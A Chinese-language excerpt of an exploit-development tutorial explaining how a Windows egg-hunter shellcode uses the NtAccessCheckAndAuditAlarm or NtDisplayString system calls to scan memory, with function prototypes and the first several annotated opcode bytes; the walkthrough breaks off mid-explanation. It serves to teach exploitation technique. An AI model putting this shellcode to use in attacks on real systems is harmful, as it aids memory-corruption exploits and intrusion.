编辑: 匕趟臃39 2015-08-25

这个方案使用 NTAccessCheckAndAuditAlarm(KiServiceTable 中位移值为 0x02)函数来代替了 NtDisplayString 来防止 寻蛋时的访问冲突(access violations).你可以从以下这个位置(或这里)找到更多关于 NtAccessCheck 的信息. 我的朋友 Lincoln 做了一个不错的关于这个寻蛋方案的 Video:你可以到这里看观看. 利用 NtDisplayString/NtAccessCheckAndAuditAlarm 的寻蛋方案的工作原理的简单 介绍 这两个方案使用类似的技术,但不同的系统调用来检查是否有访问冲突(access violation)发生. NtDisplayDtring 函数原型: NtDisplayString(IN PUNICODE_STRING String );

NtAccessCheckAndAuditAlarm 函数原型: NtAccessCheckAndAuditAlarm( IN PUNICODE_STRING SubsystemName OPTIONAL, IN HANDLE ObjectHandle OPTIONAL, IN PUNICODE_STRING ObjectTypeName OPTIONAL, IN PUNICODE_STRING ObjectName OPTIONAL, IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN ACCESS_MASK DesiredAccess, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PULONG GrantedAccess, OUT PULONG AccessStatus, OUT PBOOLEAN GenerateOnClose );

(更多函数原型可以在以下地址找到:http://undocumented.ntinternals.net/) 下面是寻蛋函数的详细解释: 6681CAFF0F or dx,0x0fff ;

get last address in page

42 inc edx ;

acts as a counter ;

(increments the value in EDX)

52 push edx ;

pushes edx value to the stack ;

(saves our current address on the stack) 6A43 push byte +0x2 ;

push 0x2 for NtAccessCheckAndAuditAlarm ;

or 0x43 for NtDisplayString to stack

58 pop eax ;

pop 0x2 or 0x43 into eax ;

so it can be used as ........

下载(注:源文件不在本站服务器,都将跳转到源网站下载)
备用下载
发帖评论
相关话题
发布一个新话题